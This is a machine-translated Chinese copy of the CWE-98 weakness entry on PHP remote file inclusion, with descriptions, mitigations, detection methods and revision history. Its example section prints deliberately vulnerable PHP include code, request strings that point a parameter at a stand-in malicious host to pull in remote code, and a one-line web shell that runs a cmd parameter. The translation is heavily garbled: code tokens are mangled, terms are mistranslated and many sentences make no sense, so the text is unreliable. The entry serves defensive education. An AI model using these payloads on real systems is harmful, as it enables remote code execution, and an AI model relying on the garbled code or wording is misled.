CWE

常见的弱点枚举

一个由社区开发的软件&硬件缺陷类型的列表

新CWE吗?点击这里!
CWE最重要的硬件的弱点
CWE最危险的弱点
>CWE列表> CWE -个人字典定义(4.12)
ID

cwe - 98:不当控制包括/需要声明在PHP程序的文件名(PHP远程文件包含)

弱点ID: 98
抽象:变体
结构:简单的
视图定制的信息:
的用户感兴趣的更多的概念方面的一个弱点。例如:教育者,技术作家和项目/项目经理。 用户关心的实际应用和细节的本质弱点以及如何预防它的发生。例子:工具开发人员、安全人员、pen-testers事件反应分析师。 对于用户映射一个问题CWE / CAPEC id,即。,finding the most appropriate CWE for a specific issue (e.g., a CVE record). Example: tool developers, security researchers. 用户希望看到所有可用的信息CWE / CAPEC条目。 为用户谁想要定制显示细节。
×

编辑自定义过滤器


+描述
输入从一个PHP应用程序接收上游组件,但这并不限制或者错误地限制使用前的输入“需要”,“包括”或类似的功能。
+扩展描述
在某些版本和配置PHP,这可能允许攻击者指定URL到远程位置的产品将获得执行的代码。在其他情况下与路径遍历,攻击者可以指定一个本地文件可能包含可执行语句,可以通过PHP解析。
+替代条款
远程文件包含
RFI:
远程文件包含(RFI)缩略词通常是由脆弱性研究人员使用。
本地文件包含:
这个词经常用于远程下载的情况被禁用,或者当文件名的第一部分不是在攻击者的控制下,这迫使使用相对路径遍历(CWE-23)攻击技术来访问文件可能包含previously-injected PHP代码,如web访问日志。
+的关系
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关的视图”研究概念”(cwe - 1000)
自然 类型 ID 的名字
ChildOf 类类——一个弱点,描述的是一个非常抽象的时尚,通常独立于任何特定的语言或技术。更具体的比一个支柱的弱点,但更普遍的基本的弱点。类级别的弱点通常描述问题的1或2以下维度:行为、财产和资源。 706年 使用Incorrectly-Resolved名称或引用
ChildOf 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 829年 包含的功能不受信任的控制范围
CanAlsoBe 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 426年 不可信的搜索路径
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 73年 外部控制文件名或路径
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 184年 不允许输入的完整列表
光束 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 425年 直接请求(“强迫浏览”)
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 456年 失踪的初始化一个变量
光束 变体变体——一个弱点与某种类型的产品,通常涉及到一个特定的语言或技术。更具体的比基本的弱点。变异水平弱点通常描述问题的3到5以下维度:行为、财产、技术、语言,和资源。 473年 PHP外部变量修改
CanPrecede 基地Base -一个弱点,仍主要是独立的资源或技术,但有足够的细节来提供特定的检测和预防方法。基础水平的弱点通常描述问题的2或3以下维度:行为、财产、技术、语言,和资源。 94年 不当控制生成的代码(代码注入)
部分帮助此表显示了弱点和高水平类别相关的这一弱点。这些关系被定义为ChildOf、ParentOf MemberOf,并洞察类似项目可能存在的在较高和较低的抽象级别。此外,关系如PeerOf和CanAlsoBe定义显示类似的弱点,用户可能想要探索。
+相关视图”架构概念”(cwe - 1008)
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1019年 验证输入
+模式的介绍
部分帮助不同模式的引入提供了信息如何以及何时可以纳入这一弱点。生命周期的阶段识别点的介绍可能发生,而相关的报告提供了一个典型的场景介绍在给定的阶段。
阶段 请注意
实现 实现:造成这一弱点在建筑安全策略的实施。
+适用的平台
部分帮助该清单显示了给定的弱点可以可能的地区出现。这些可能是为特定命名的语言,操作系统,架构、模式、技术、或一个类这样的平台。列出的平台是随着频率的出现疲态实例。

语言

PHP(通常是普遍的)

+常见的后果
部分帮助这个表指定不同的个人相关后果的弱点。标识应用程序范围的安全领域侵犯,而影响了负面的技术影响,如果敌人成功利用这个弱点。可能提供的信息如何可能的具体结果预计将看到列表中相对于其它后果。例如,可能会有高可能性,缺点将被利用来实现一定的影响,但较低的可能性,它将被利用来实现不同的影响。
范围 影响 可能性
完整性
保密
可用性

技术的影响:执行未经授权的代码或命令

攻击者可以指定任意代码执行从远程位置。或者,它可能会使用正常程序行为将php代码插入到文件在本地机器上,然后可以包括和强制执行代码,因为php忽略了文件中的一切除了php说明符之间的内容。
+利用的可能性
+示范例子

示例1

下面的代码,受害者。php,试图包括函数包含在一个单独的服务器上的php页面。它构建文件的路径通过使用提供的“module_name”参数和附加字符串' /功能。php的。

(坏的代码)
例如语言:PHP
$ dir = $ _GET [' module_name '];
包括($ dir。“/ function.php”);

上面的代码的问题是,美元的价值dir并不以任何方式限制,和恶意用户可以操作“module_name”参数力包含一个未预料到的文件。例如,攻击者可以请求上面的PHP页面(example.php)的module_name“http://malicious.example.com”通过使用以下请求字符串:

(攻击代码)
victim.php ? module_name = http://malicious.example.com

在接收该请求,代码将“module_name”为“http://malicious.example.com”的值,并将试图包括http://malicious.example.com/function.php,以及任何它包含恶意代码。

为了这个例子中,假设的恶意版本功能。php的样子如下:

(坏的代码)
系统($ _GET [' cmd ']);

攻击者可以更进一步在我们的例子中,并提供一个请求字符串如下:

(攻击代码)
victim.php ? module_name = http://malicious.example.com&cmd=/bin/ls%20-l

将尝试包括恶意的代码的功能。php文件从远程站点。反过来,这个文件执行命令中指定的cmd从查询字符串参数。最终的结果是由tvictim企图。php执行潜在的恶意命令,在这种情况下:

(攻击代码)
/bin/ls - l

注意,上面的PHP示例可以减轻通过设置allow_url_fopen为false,尽管这不会完全保护的代码。看到潜在的移植。

+观察到的例子
参考 描述
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable配置变量包含文件允许文件包含通过直接请求。
修改assumed-immutable变量配置脚本导致文件包含。
PHP文件包含。
PHP文件包含。
PHP文件包含。
PHP本地文件包含。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
远程文件包含PHP。
在PHP目录遍历脆弱性包括声明。
在PHP目录遍历脆弱性包括声明。
PHP文件包含问题,远程和本地;当地包括使用“。”和“% 00”字符作为操纵,但许多远程文件包含问题可能这个向量。
链:库文件直接发送重定向如果要求但继续执行,允许远程文件包含和路径遍历。
+潜在的缓解措施

阶段:体系结构和设计

策略:库或框架

使用审查库或框架不允许这个弱点发生或提供了结构,使这个弱点更容易避免的。

阶段:体系结构和设计

战略:执行的转换

组接受对象时,如文件名或url,是有限的或已知,从一组固定的输入值创建一个映射(比如数字id)实际的文件名或url,并拒绝所有其他输入。

例如,ID 1可以映射到“收件箱。txt”和ID 2可以映射到“profile.txt”。特性如ESAPI AccessReferenceMap [ref - 185提供此功能。

阶段:体系结构和设计

对于任何一个在客户端执行安全检查,确保这些检查复制在服务器端,为了避免cwe - 602。攻击者可以绕过客户端检查通过修改值后,检查执行,或通过改变客户端完全删除客户端检查。然后,这些修改的值将被提交到服务器。

阶段:体系结构和设计;操作

策略:沙盒或监狱

运行代码的“监狱”或类似沙箱环境执行严格的流程和操作系统之间的边界。这可能有效地限制哪些文件可以在一个特定的目录或访问哪些命令可以执行的软件。

操作系统的例子包括Unix chroot监狱,AppArmor对,SELinux。在一般情况下,托管代码可能会提供一些保护。例如,java。在Java SecurityManager FilePermission允许软件指定文件操作的限制。

这可能不是一个可行的解决方案,它只限制对操作系统的影响;应用程序的其余部分可能仍然接受妥协。

应该注意避免cwe - 243和其他相关弱点监狱。

有效性:有限

注意:这种缓解的有效性取决于特定的沙盒或监狱的预防功能使用,只可能有助于减少攻击的范围,比如限制攻击者对特定文件系统的系统调用或限制部分,可以访问。

阶段:体系结构和设计;操作

策略:环境硬化

使用所需的最低特权运行您的代码来完成必要的任务(ref - 76]。如果可能的话,创建独立帐户权限有限,只用于一个任务。这样,一个成功的攻击不会立即给攻击者访问其他软件或其环境。例如,数据库应用程序很少需要作为数据库管理员运行,特别是在日常操作。

实施阶段:

策略:输入验证

假设所有的输入是恶意的。使用一个“接受良好的“输入验证策略,即。,use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.

当执行输入验证,考虑所有可能相关的属性,包括长度,类型的输入,可接受的值的全系列,缺失或额外的输入,语法,一致性相关领域,符合业务规则。作为业务规则逻辑的一个例子,在语法上“船”可能是有效的,因为它只包含字母数字字符,但它不是有效的如果输入预计仅包含颜色,如“红”或“蓝色”。

不完全依赖寻找恶意或畸形的输入。这很可能错过至少有一个不受欢迎的输入,特别是如果代码的环境变化。这可以让攻击者有足够的空间绕过验证。然而,denylists可以用于检测潜在攻击或确定哪些输入是畸形的,应该直接驳回。

当验证文件名,使用严格的列表,限制使用的字符集。如果可行,只允许一个“。”字符的文件名,以避免弱点等CWE-23,排除目录分隔符“/”等,以避免CWE-36。使用许可文件扩展名的列表,这将有助于避免cwe - 434

不完全依赖一个过滤机制,消除潜在的危险人物。这相当于一个denylist,这可能是不完整的(cwe - 184)。例如,过滤保护“/”是不够的,如果文件系统还支持使用作为目录分隔符“\”。另一个可能的错误可能发生过滤时,仍然会产生危险的数据(cwe - 182)。例如,如果“. ./“序列是远离“……/ /字符串以顺序的方式,两个实例“. ./”将从原始字符串中删除,但其余字符仍将形成“. ./”字符串。

有效性:高

阶段:体系结构和设计;操作

策略:减少攻击表面

存储库,包括和实用程序文件之外的web文档根,如果可能的话。否则,将它们存储在一个单独的目录,并使用web服务器的访问控制功能,防止攻击者直接请求。一个常见的做法是定义一个固定的常数在每个调用程序,然后检查存在的恒定在图书馆/包含文件;如果持续的不存在,那么直接请求的文件,它可以立即退出。

这会显著减少的机会攻击者能够绕过任何保护机制的基础程序但不包括文件。这也会减少攻击表面。

阶段:体系结构和设计;实现

策略:减少攻击表面

理解所有潜在的地区不受信任的输入可以输入软件:参数或参数,饼干,任何从网络读取环境变量,反向DNS查找,查询结果,请求头,URL组件、电子邮件、文件、文件名、数据库,以及任何外部系统提供数据的应用程序。记住,这样的投入可以获得间接通过API调用。

文件包含许多问题发生,因为程序员假定某些输入不能修改,特别是对饼干和URL的组件。

阶段:操作

防火墙策略:

使用应用程序防火墙,可以检测到攻击这个弱点。它可以是有益的情况下,代码不能固定(因为它是由第三方控制),作为一项紧急预防措施,更全面的软件保证措施被应用,或者提供深度防御。

有效性:温和

注意:应用程序防火墙不可能覆盖所有可能的输入向量。此外,攻击技术可能可以绕过保护机制,比如使用畸形的输入,仍然可以由组件接收处理这些输入。根据功能的不同,应用程序防火墙可能会无意中拒绝或修改合法请求。最后,一些手动工作可能需要定制。

阶段:操作;实现

策略:环境硬化

开发和运行您的代码在最近的可用的PHP版本,最好是PHP 6或更高版本。许多高风险的特性在PHP解释器早些时候已被移除,限制或禁用默认情况下。

阶段:操作;实现

策略:环境硬化

使用PHP时,配置应用程序,以便它不使用register_globals。在实现,开发应用程序,以便它不依赖于这个特性,但是小心实现register_globals的模拟等弱点cwe - 95,cwe - 621和类似的问题。

通常,程序员不保护直接访问文件只包含核心程序。这些包括文件可能假设关键变量已经被调用程序初始化。因此,register_globals的使用结合的能力直接访问包含文件可能允许攻击者进行文件包含攻击。这仍然是一个非常常见的2009年模式。

阶段:操作

策略:环境硬化

allow_url_fopen设置为false,这限制了包括文件从远程位置的能力。

有效性:高

注意:请注意,PHP的一些版本仍将接受ftp://和其他URI方案。此外,这个设置不保护的代码路径遍历的攻击(CWE-22),它经常成功对代码,允许远程文件包含同样的脆弱。
+检测方法

手动分析

手动白盒分析可以非常有效的寻找这个问题,因为通常是一个相对较少的包括每个程序或要求语句。

有效性:高

自动静态分析

文件名的外部控制或影响使用自动静态分析模型常常可以发现产品内的数据流。

自动静态分析可能无法识别在执行适当的输入验证时,导致假阳性——即。警告,没有任何安全后果或需要任何代码更改。如果程序使用一个定制的输入验证库,那么一些工具可能允许分析人员创建自定义签名检测使用的例程。

+影响资源
  • 文件或目录
+会员资格
部分帮助这MemberOf关系表显示额外CWE类别和视图引用这个弱点作为成员。这些信息通常是有用的在理解一个弱点符合外部信息源的上下文中。
自然 类型 ID 的名字
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 714年 OWASP 2007年十大类别A3 -恶意文件执行
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 727年 OWASP十大2004类别A6 -注塑缺陷
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 802年 2010年前25 -资源管理风险
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1347年 OWASP十大2021类别A03:2021 -注射
MemberOf 类别类别——CWE条目包含一组其他条目,共享一个共同的特点。 1416年 综合分类:资源生命周期管理
+脆弱性映射笔记

用法:允许

(CWE ID可以用来映射到现实世界的漏洞)

原因:可接受的使用

理由是:

这个CWE条目是变体的抽象级别,这是一个首选的抽象级别映射到漏洞的根本原因。

评论:

仔细阅读这两个名称和描述,以确保此映射是一个适当的配合。不要试图“力”映射到底层基础/变体只是遵守这首选的抽象级别。
+笔记

的关系

这是经常的功能性结果其他弱点。通常是多因素与其他因素(例如女仆),尽管并不是所有涉及assumed-immutable数据包含bug。直接请求弱点经常扮演一个角色。

可以在当地包容问题重叠目录遍历。

+分类法映射
映射分类名称 节点ID 适合 映射节点名
千鸟 PHP文件包含
OWASP十大2007 A3 CWE更具体 恶意文件执行
WASC 5 远程文件包含
+引用
OWASP (ref - 185)。“测试路径遍历(owasp -阿兹- 001)”。<http://www.owasp.org/index.php/Testing_for_Path_Traversal_ (owasp -阿兹- 001)>。
(ref - 76)肖恩·巴纳姆和迈克尔Gegick。“最小特权”。2005-09-14。<https://web.archive.org/web/20211209014121/https: / / www.cisa.gov uscert bsi /文章/知识/ /最小特权原则>。URL验证:2023-04-07
(ref - 951)肖恩出彩。“血字的研究”。<https://www.cgisecurity.com/lib/studyinscarlet.txt>。URL验证:2023-04-07
Stefan埃塞尔(ref - 952)。“Suhosin”。<http://www.hardened-php.net/suhosin/>。
[ref - 953]约翰内斯·乌尔里希。“前25系列- 13 - PHP文件包含”。无软件安全研究所。2010-03-11。<https://www.sans.org/blog/top-25-series-rank-13-php-file-inclusion/>。URL验证:2023-04-07
+内容的历史
+提交
提交日期 提交者 组织
2006-07-19
(CWE草案3,2006-07-19)
千鸟
+修改
修改日期 修饰符 组织
2008-07-01 Eric Dalci Cigital
更新Time_of_Introduction
2008-09-08 CWE内容团队 主教法冠
更新的关系,Relationship_Notes, Research_Gaps Taxonomy_Mappings
2009-01-12 CWE内容团队 主教法冠
更新的关系
2009-03-10 CWE内容团队 主教法冠
更新的关系
2009-05-27 CWE内容团队 主教法冠
更新描述、名称
2009-12-28 CWE内容团队 主教法冠
更新Alternate_Terms、Applicable_Platforms Demonstrative_Examples、Likelihood_of_Exploit Potential_Mitigations Time_of_Introduction
2010-02-16 CWE内容团队 主教法冠
转换从Compound_Element弱点
2010-02-16 CWE内容团队 主教法冠
更新Alternate_Terms、Common_Consequences Detection_Factors Potential_Mitigations,引用,Related_Attack_Patterns,关系,Taxonomy_Mappings、类型
2010-06-21 CWE内容团队 主教法冠
更新Potential_Mitigations,引用
2010-09-27 CWE内容团队 主教法冠
更新Potential_Mitigations
2010-12-13 CWE内容团队 主教法冠
更新Potential_Mitigations
2011-06-27 CWE内容团队 主教法冠
更新的关系
2012-10-30 CWE内容团队 主教法冠
更新Potential_Mitigations,引用
2013-02-21 CWE内容团队 主教法冠
更新Alternate_Terms,名字,Observed_Examples
2017-01-19 CWE内容团队 主教法冠
更新的关系
2017-11-08 CWE内容团队 主教法冠
更新Affected_Resources、Demonstrative_Examples Likelihood_of_Exploit Modes_of_Introduction,引用关系
2019-06-20 CWE内容团队 主教法冠
更新的类型
2020-02-24 CWE内容团队 主教法冠
更新Potential_Mitigations、人际关系
2020-06-25 CWE内容团队 主教法冠
更新Potential_Mitigations
2021-03-15 CWE内容团队 主教法冠
更新Potential_Mitigations
2021-10-28 CWE内容团队 主教法冠
更新的关系
2022-04-28 CWE内容团队 主教法冠
更新Research_Gaps
2022-10-13 CWE内容团队 主教法冠
更新的引用
2023-01-31 CWE内容团队 主教法冠
更新描述,Detection_Factors
2023-04-27 CWE内容团队 主教法冠
更新引用关系,Time_of_Introduction
2023-06-29 CWE内容团队 主教法冠
更新Mapping_Notes
+以前的条目名称
改变日期 以前的条目名称
2008-04-11 PHP文件包含
2009-05-27 控制的文件名包含/不足需要在PHP程序语句(又名“PHP文件包含”)
2013-02-21 不当控制包括/需要声明在PHP程序的文件名(PHP文件包含)
页面最后更新:2023年6月29日